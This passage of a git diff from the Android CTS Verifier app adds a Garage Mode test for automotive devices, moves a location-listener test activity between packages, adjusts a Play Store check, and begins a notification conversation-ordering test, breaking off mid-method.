+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.lang.ref.WeakReference;
+import java.util.List;
+
+public final class GarageModeChecker extends JobService {
+    private static final String TAG = GarageModeChecker.class.getSimpleName();
+
+    static final String PREFS_FILE_NAME = "GarageModeChecker_prefs";
+    static final String PREFS_INITIATION = "test-initiation";
+    static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
+    static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
+    static final String PREFS_TERMINATION = "termination-time";
+
+    private static final int SECONDS_PER_ITERATION = 10;
+    private static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+
+    private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
+    private static final String JOB_NUMBER = "job_number";
+    private static final String REMAINING_SECONDS = "remaining_seconds";
+    // JobScheduler allows a maximum of 10 minutes for a job
+    private static final int MAX_SECONDS_PER_JOB = 9 * 60;
+
+    private static final int MSG_FINISHED = 0;
+    private static final int MSG_RUN_JOB = 1;
+    private static final int MSG_CANCEL_JOB = 2;
+
+    private Context mIdleJobContext;
+    
+    private boolean mReportFirstExecution = true;
+
+    public static void scheduleAnIdleJob(Context context, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        // Get the next available job ID
+        int highestJobNumber = 0;
+        for (JobInfo jobInfo : jobScheduler.getAllPendingJobs()) {
+            int jobId = jobInfo.getId();
+            if (highestJobNumber < jobId) {
+                highestJobNumber = jobId;
+            }
+        }
+        scheduleJob(context, highestJobNumber + 1, durationSeconds);
+    }
+
+    private static void scheduleJob(Context context, int jobNumber, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        ComponentName jobComponentName = new ComponentName(context, GarageModeChecker.class);
+        JobInfo.Builder builder = new JobInfo.Builder(jobNumber, jobComponentName);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putInt(JOB_NUMBER, jobNumber);
+        bundle.putInt(REMAINING_SECONDS, durationSeconds);
+
+        JobInfo jobInfo = builder
+                .setRequiresDeviceIdle(true)
+                .setExtras(bundle)
+                .build();
+        jobScheduler.schedule(jobInfo);
+    }
+
+    private final Handler mHandler = new Handler() {
+        private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+        @Override
+        public void handleMessage(Message msg) {
+            JobParameters job = (JobParameters) msg.obj;
+            switch (msg.what) {
+                case MSG_FINISHED:
+                    mTaskMap.remove(job.getJobId());
+                    jobFinished(job, false);
+                    break;
+                case MSG_RUN_JOB:
+                    GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
+                    task.execute();
+                    mTaskMap.put(job.getJobId(), job);
+                    break;
+                case MSG_CANCEL_JOB:
+                    JobParameters job1 = mTaskMap.get(job.getJobId());
+                    if (job1 != null) {
+                        removeMessages(MSG_RUN_JOB, job1);
+                        mTaskMap.remove(job.getJobId());
+                    }
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putLong(PREFS_TERMINATION, System.currentTimeMillis());
+                    editor.commit();
+                    Log.v(TAG, "Idle job was terminated");
+                    break;
+            }
+        }
+    };
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        Message msg = mHandler.obtainMessage(MSG_CANCEL_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return false;
+    }
+
+    @Override
+    public boolean onStartJob(final JobParameters jobParameters) {
+        mIdleJobContext = getApplicationContext();
+        if (mReportFirstExecution) {
+            mReportFirstExecution = false;
+            // Remember the start time
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(PREFS_GARAGE_MODE_START, System.currentTimeMillis());
+            editor.commit();
+            Log.v(TAG, "Starting idle job");
+        }
+        Message msg = mHandler.obtainMessage(MSG_RUN_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return true;
+    }
+
+    private final class GarageModeCheckerTask extends AsyncTask<Void, Void, Boolean> {
+        private final WeakReference<Handler> mHandler;
+        private final JobParameters mJobParameter;
+        private final int mIteration;
+
+        GarageModeCheckerTask(Handler handler, JobParameters jobParameters, int iteration) {
+            mHandler = new WeakReference<Handler>(handler);
+            mJobParameter = jobParameters;
+            mIteration = iteration;
+        }
+
+        @Override
+        protected Boolean doInBackground(Void... infos) {
+            int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
+            int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
+            int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+
+            if (elapsedSeconds >= myMaxTime) {
+                // This job is done
+                if (myMaxTime == remainingSeconds) {
+                    // This is the final job. Note the completion time.
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putLong(PREFS_GARAGE_MODE_END, System.currentTimeMillis());
+                    editor.commit();
+                    Log.v(TAG, "Idle job is finished");
+                }
+                return false;
+            }
+            if (elapsedSeconds >= (myMaxTime - SECONDS_PER_ITERATION)
+                    && (myMaxTime < remainingSeconds)) {
+                // This job is about to finish and there is more time remaining.
+                // Schedule another job.
+                scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
+                        remainingSeconds - elapsedSeconds);
+            }
+            return true;
+        }
+
+        @Override
+        protected void onPostExecute(Boolean result) {
+            final Handler handler = mHandler.get();
+            if (handler == null) {
+                return;
+            }
+            if (result) {
+                Message msg = handler.obtainMessage(MSG_RUN_JOB, mIteration + 1, 0, mJobParameter);
+                handler.sendMessageDelayed(msg, MS_PER_ITERATION);
+            } else {
+                Message msg = handler.obtainMessage(MSG_FINISHED, 0, 0, mJobParameter);
+                handler.sendMessage(msg);
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
new file mode 100644
index 0000000..09f5e17
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.text.DateFormat;
+
+/**
+ * Tests that Garage Mode runs at the end of a drive
+ */
+public final class GarageModeTestActivity extends PassFailButtons.Activity {
+    // Requirements from Android 10 Compatibility Definition
+    // 2.5.4. Performance and Power
+    // Automotive device implementations:
+    //
+    // [8.3/A-1-3] MUST enter Garage Mode at least once before the car is powered down.
+    // [8.3/A-1-4] MUST be in Garage Mode for at least 15 minutes unless:
+    //                 The battery is drained.
+    //                 No idle jobs are scheduled.
+    //                 The driver exits Garage Mode.
+    //
+    // As updated:
+    // [8.3/A-1-3] MUST support Garage Mode functionality
+    // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes after every drive unless:
+    //                 The battery is drained
+    //                 No idle jobs are scheduled
+    //                 The driver exits Garage Mode
+
+    private static final String TAG = GarageModeTestActivity.class.getSimpleName();
+
+    // The recommendation is for Garage Mode to run for 15 minutes. To allow
+    // for some variation, run the test for 14 minutes and verify that it
+    // ran at least 13 minutes.
+    private static final int NUM_SECONDS_DURATION = 14 * 60;
+    private static final long DURATION_MINIMUM_TEST_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+    private TextView mStatusText;
+    private boolean mJustLaunchedVerifier;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.garage_test_main, null);
+        setContentView(view);
+
+        setInfoResources(R.string.car_garage_mode_test, R.string.car_garage_mode_test_desc, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        mStatusText = findViewById(R.id.car_garage_mode_results);
+
+        Button wifiButton = view.findViewById(R.id.car_wifi_settings);
+        wifiButton.setOnClickListener(
+                (buttonView) -> startActivity(new Intent(Settings.ACTION_WIFI_SETTINGS)));
+
+        Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
+        monitorButton.setOnClickListener((buttonView) -> {
+            Context context = GarageModeTestActivity.this;
+            SharedPreferences prefs = context.getSharedPreferences(
+                    GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+            long now = System.currentTimeMillis();
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(GarageModeChecker.PREFS_INITIATION, now);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+            editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+            editor.commit();
+
+            GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
+            mJustLaunchedVerifier = true;
+            verifyStatus();
+            Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
+        });
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        verifyStatus();
+    }
+
+    private void verifyStatus() {
+        Context context = GarageModeTestActivity.this;
+        SharedPreferences prefs = context.getSharedPreferences(
+                GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+        String resultsString;
+        DateFormat dateTime = DateFormat.getDateTimeInstance();
+
+        long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
+        long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+        long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+        long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+
+        boolean testPassed = false;
+        if (initiateTime == 0) {
+            resultsString = "No results are available.\n\n"
+                    + "Perform the indicated steps to run the test.";
+        } else if (mJustLaunchedVerifier) {
+            resultsString = String.format("No results are available.\n\n"
+                            + "Perform the indicated steps to run the test.\n\n"
+                            + "%s -- Test was enabled",
+                    dateTime.format(initiateTime));
+            mJustLaunchedVerifier = false;
+        } else if (garageModeStart == 0) {
+            resultsString = String.format("Test failed.\n"
+                            + "Garage Mode did not run.\n\n"
+                            + "%s -- Test was enabled",
+                    dateTime.format(initiateTime));
+        } else if (garageModeEnd > (garageModeStart + DURATION_MINIMUM_TEST_MS)) {
+            resultsString = String.format("Test Passed.\n"
+                            + "Garage Mode ran as required and for the recommended time.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode completed",
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(garageModeEnd));
+            testPassed = true;
+        } else if (termination > 0) {
+            resultsString = String.format("Test Passed.\n"
+                            + "Garage Mode ran as required, "
+                            + "but for less time than is recommended.\n"
+                            + "The CDD recommends that Garage Mode runs for 15 minutes.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+            testPassed = true;
+        } else {
+            resultsString = "Test failed.\n\n"
+                    + "Garage Mode started, but terminated unexpectedly.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started";
+        }
+        mStatusText.setText(resultsString);
+        getPassButton().setEnabled(testPassed);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
index 77caeb9..4acdfd2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -16,7 +16,6 @@
 package com.android.cts.verifier.instantapps;
 
 import android.os.Bundle;
-import android.os.SystemProperties;
 import android.content.pm.PackageManager;
 import android.widget.TextView;
 
@@ -36,18 +35,16 @@
 
         setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
         TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
-        if (isNoGooglePlayStore()) {
-            extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
-        } else {
+        if (deviceHasPlayStore()) {
             extraText.setText(R.string.ia_notification_instruction_label);
+        } else {
+            extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
         }
     }
 
-    private boolean isNoGooglePlayStore() {
-        boolean isCnGmsVersion =
+    private boolean deviceHasPlayStore() {
+        boolean hasCnGmsVersion =
                 getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
-        boolean isNoGmsVersion =
-                (SystemProperties.get("ro.com.google.gmsversion", null) == null);
-        return isCnGmsVersion || isNoGmsVersion;
+        return !hasCnGmsVersion;
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
deleted file mode 100644
index 4db0b54..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.os.Process;
-import android.provider.Settings;
-import android.util.Log;
-import android.widget.Toast;
-
-import com.android.cts.verifier.R;
-
-public class LocationListenerActivity extends Activity implements Handler.Callback {
-    // Primary -> managed intent: request to goto the location settings page and listen to updates.
-    public static final String ACTION_SET_LOCATION_AND_CHECK_UPDATES =
-            "com.android.cts.verifier.location.SET_LOCATION_AND_CHECK";
-    private static final int REQUEST_LOCATION_UPDATE = 1;
-
-    private static final int MSG_TIMEOUT_ID = 1;
-
-    private static final long MSG_TIMEOUT_MILLISEC = 15000; // 15 seconds.
-
-    private LocationManager mLocationManager;
-    private Handler mHandler;
-    private boolean mIsLocationUpdated;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
-        mHandler = new Handler(this);
-        mIsLocationUpdated = false;
-        Intent intent = getIntent();
-        if (intent != null) {
-            String action = intent.getAction();
-            if (ACTION_SET_LOCATION_AND_CHECK_UPDATES.equals(action)) {
-                Log.d(getLogTag(), "ACTION_SET_LOCATION_AND_CHECK_UPDATES received in uid "
-                        + Process.myUid());
-                handleLocationAction();
-            }
-        }
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        switch (requestCode) {
-            case REQUEST_LOCATION_UPDATE: {
-                Log.d(getLogTag(), "Exit location settings:OK");
-                mLocationManager.removeUpdates(mLocationListener);
-                mHandler.removeMessages(MSG_TIMEOUT_ID);
-                finish();
-                break;
-            }
-            default: {
-                Log.wtf(getLogTag(), "Unknown requestCode " + requestCode + "; data = " + data);
-                break;
-            }
-        }
-    }
-
-    protected void handleLocationAction() {
-        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
-        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
-            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_UPDATE);
-            scheduleTimeout();
-        } else {
-            Log.e(getLogTag(), "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
-            finish();
-        }
-        mLocationManager.requestLocationUpdates(
-                LocationManager.GPS_PROVIDER, 0, 0, mLocationListener);
-    }
-
-    private final LocationListener mLocationListener = new LocationListener() {
-        @Override
-        public void onLocationChanged(Location location) {
-            synchronized (LocationListenerActivity.this) {
-                if (mIsLocationUpdated) return;
-                showToast(R.string.provisioning_byod_location_mode_enable_toast_location_change);
-                mIsLocationUpdated = true;
-            }
-        }
-
-        @Override
-        public void onProviderDisabled(String provider) {
-        }
-
-        @Override
-        public void onProviderEnabled(String provider) {
-        }
-
-        @Override
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-        }
-    };
-
-    private void scheduleTimeout() {
-        mHandler.removeMessages(MSG_TIMEOUT_ID);
-        mHandler.sendMessageDelayed(mHandler.obtainMessage(MSG_TIMEOUT_ID), MSG_TIMEOUT_MILLISEC);
-    }
-
-    @Override
-    public boolean handleMessage(Message msg) {
-        if (msg.what == MSG_TIMEOUT_ID) {
-            synchronized (this) {
-                if (mIsLocationUpdated) return true;
-                showToast(R.string.provisioning_byod_location_mode_time_out_toast);
-            }
-        }
-        return true;
-    }
-
-    protected String getLogTag() {
-        return "LocationListenerActivity";
-    }
-
-    protected void showToast(int messageId) {
-        String message = getString(messageId);
-        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS
deleted file mode 100644
index b6377b0..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 32850
-wyattriley@google.com
-yuhany@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 656cd89..9facc13 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -39,7 +39,6 @@
 import com.android.cts.verifier.TestListActivity;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 import com.android.cts.verifier.TestResult;
-import com.android.cts.verifier.location.LocationListenerActivity;
 
 /**
  * CTS verifier test for BYOD managed provisioning flow
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index a240b83..a6a25e6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -32,12 +32,12 @@
 import android.os.Handler;
 import android.os.UserManager;
 import android.provider.MediaStore;
-import androidx.core.content.FileProvider;
-import androidx.core.util.Pair;
 import android.util.Log;
 
+import androidx.core.content.FileProvider;
+import androidx.core.util.Pair;
+
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.LocationListenerActivity;
 import com.android.cts.verifier.managedprovisioning.ByodPresentMediaDialog.DialogCallback;
 
 import java.io.File;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index c9e2449..c43bd5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -32,11 +32,11 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.LocationListenerActivity;
 
 import java.util.Collections;
 import java.util.function.Consumer;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
new file mode 100644
index 0000000..2ad5f99
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.os.Process;
+import android.provider.Settings;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+public class LocationListenerActivity extends Activity implements Handler.Callback {
+    // Primary -> managed intent: request to goto the location settings page and listen to updates.
+    public static final String ACTION_SET_LOCATION_AND_CHECK_UPDATES =
+            "com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK";
+    private static final int REQUEST_LOCATION_UPDATE = 1;
+
+    private static final int MSG_TIMEOUT_ID = 1;
+
+    private static final long MSG_TIMEOUT_MILLISEC = 15000; // 15 seconds.
+
+    private LocationManager mLocationManager;
+    private Handler mHandler;
+    private boolean mIsLocationUpdated;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
+        mHandler = new Handler(this);
+        mIsLocationUpdated = false;
+        Intent intent = getIntent();
+        if (intent != null) {
+            String action = intent.getAction();
+            if (ACTION_SET_LOCATION_AND_CHECK_UPDATES.equals(action)) {
+                Log.d(getLogTag(), "ACTION_SET_LOCATION_AND_CHECK_UPDATES received in uid "
+                        + Process.myUid());
+                handleLocationAction();
+            }
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        switch (requestCode) {
+            case REQUEST_LOCATION_UPDATE: {
+                Log.d(getLogTag(), "Exit location settings:OK");
+                mLocationManager.removeUpdates(mLocationListener);
+                mHandler.removeMessages(MSG_TIMEOUT_ID);
+                finish();
+                break;
+            }
+            default: {
+                Log.wtf(getLogTag(), "Unknown requestCode " + requestCode + "; data = " + data);
+                break;
+            }
+        }
+    }
+
+    protected void handleLocationAction() {
+        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
+        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
+            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_UPDATE);
+            scheduleTimeout();
+        } else {
+            Log.e(getLogTag(), "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
+            finish();
+        }
+        mLocationManager.requestLocationUpdates(
+                LocationManager.GPS_PROVIDER, 0, 0, mLocationListener);
+    }
+
+    private final LocationListener mLocationListener = new LocationListener() {
+        @Override
+        public void onLocationChanged(Location location) {
+            synchronized (LocationListenerActivity.this) {
+                if (mIsLocationUpdated) return;
+                showToast(R.string.provisioning_byod_location_mode_enable_toast_location_change);
+                mIsLocationUpdated = true;
+            }
+        }
+
+        @Override
+        public void onProviderDisabled(String provider) {
+        }
+
+        @Override
+        public void onProviderEnabled(String provider) {
+        }
+
+        @Override
+        public void onStatusChanged(String provider, int status, Bundle extras) {
+        }
+    };
+
+    private void scheduleTimeout() {
+        mHandler.removeMessages(MSG_TIMEOUT_ID);
+        mHandler.sendMessageDelayed(mHandler.obtainMessage(MSG_TIMEOUT_ID), MSG_TIMEOUT_MILLISEC);
+    }
+
+    @Override
+    public boolean handleMessage(Message msg) {
+        if (msg.what == MSG_TIMEOUT_ID) {
+            synchronized (this) {
+                if (mIsLocationUpdated) return true;
+                showToast(R.string.provisioning_byod_location_mode_time_out_toast);
+            }
+        }
+        return true;
+    }
+
+    protected String getLogTag() {
+        return "LocationListenerActivity";
+    }
+
+    protected void showToast(int messageId) {
+        String message = getString(messageId);
+        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index c635264..42ee9e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -38,14 +38,20 @@
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationChannelGroup;
+import android.app.Person;
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
 import android.service.notification.StatusBarNotification;
+import android.util.ArraySet;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
@@ -59,6 +65,7 @@
 import org.json.JSONObject;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -129,6 +136,7 @@
         tests.add(new RequestUnbindTest());
         tests.add(new RequestBindTest());
         tests.add(new MessageBundleTest());
+        tests.add(new ConversationOrderingTest());
         tests.add(new EnableHintsTest());
         tests.add(new IsDisabledTest());
         tests.add(new ServiceStoppedTest());
@@ -1432,4 +1440,106 @@
             status = PASS;
         }
     }
+
+    /**
+     * Tests that conversation notifications appear at the top of the shade, if the device supports
+     * a separate conversation section
+     */
+    private class ConversationOrderingTest extends InteractiveTestCase {
+        private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+        private static final String SHORTCUT_CATEGORY =
+                "com.android.cts.verifier.notifications.SHORTCUT_CATEGORY";
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            createDynamicShortcut();
+            sendNotifications();
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            delay();
+        }
+
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.conversation_section_ordering);
+        }
+
+        private void createDynamicShortcut() {
+            Person person = new Person.Builder()
+                    .setBot(false)
+                    .setIcon(Icon.createWithResource(mContext, R.drawable.ic_stat_alice))
+                    .setName("Person A")
+                    .setImportant(true)
+                    .build();
+
+            Set<String> categorySet = new ArraySet<>();
+            categorySet.add(SHORTCUT_CATEGORY);
+            Intent shortcutIntent =
+                    new Intent(mContext, BubbleActivity.class);
+            shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+            ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+                    .setShortLabel(SHARE_SHORTCUT_ID)
+                    .setIcon(Icon.createWithResource(mContext, R.drawable.ic_stat_alice))
+                    .setIntent(shortcutIntent)
+                    .setPerson(person)
+                    .setCategories(categorySet)
+                    .setLongLived(true)
+                    .build();
+
+            ShortcutManager scManager =
+                    (ShortcutManager) mContext.getSystemService(Context.SHORTCUT_SERVICE);
+            scManager.addDynamicShortcuts(Arrays.asList(shortcut));
+        }
+
+        private void sendNotifications() {
+            mTag1 = UUID.randomUUID().toString();
+            mId1 = NOTIFICATION_ID + 1;
+
+            Person person = new Person.Builder()
